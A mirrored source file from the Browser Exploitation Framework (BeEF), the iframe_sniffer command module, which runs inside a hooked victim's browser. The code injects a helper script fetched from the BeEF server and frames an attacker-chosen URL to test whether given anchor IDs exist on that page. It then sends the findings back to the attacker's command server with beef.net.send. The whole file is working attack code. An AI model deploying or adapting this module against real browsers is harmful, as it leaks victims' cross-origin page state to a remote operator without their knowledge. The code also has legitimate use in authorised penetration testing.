Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/iframe_sniffer/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
beef.execute(function() {
9
var inputURL = '<%= @inputUrl %>';
10
var anchorsToCheck = '<%= @anchorsToCheck %>';
11
var arrayOfAnchorsToCheck = [];
12
13
//the anchors should be seperated with ','
14
//remove tabs, newlines, carriage returns and spaces
15
anchorsToCheck = anchorsToCheck.replace(/[ \t\r\n]/g,'');
16
arrayOfAnchorsToCheck = anchorsToCheck.split(',');
17
18
var resultList = [];
19
var resultString = '';
20
21
//check if the leakyframe library is loaded
22
//if not add it to the DOM
23
if (typeof LeakyFrame !== 'function'){
24
var leakyscript = document.createElement('script');
25
26
leakyscript.setAttribute('type', 'text/javascript');
27
leakyscript.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/leakyframe.js');
28
var theparent = document.getElementsByTagName('head')[0];
29
theparent.insertBefore(leakyscript, theparent.firstChild);
30
}
31
32
var timeout = 100;
33
34
//give the DOM some time to load the library
35
poll = function(){
36
setTimeout(function(){
37
timeout--;
38
if (typeof LeakyFrame === 'function') {
39
new LeakyFrame(inputURL,
40
function(frame){
41
//check each anchor
42
for (var anchor = 0; anchor < arrayOfAnchorsToCheck.length; anchor++){
43
if (frame.checkID(arrayOfAnchorsToCheck[anchor])){
44
resultList.push('Exists');
45
}
46
else{
47
resultList.push('Does not exist');
48
}
49
}
50
frame.remove();
51
52
//create the resultstring
53
for (var i = 0; i < resultList.length; i++){
54
resultString = resultString + '#' + arrayOfAnchorsToCheck[i] + ' ' + resultList[i] + '; ';
55
}
56
57
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result: ' + resultString);
58
},false);
59
}
60
else if (timeout > 0){
61
poll();
62
}
63
else {
64
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'time-out occured!');
65
}
66
}, 100);
67
};
68
69
poll();
70
});
71
72
73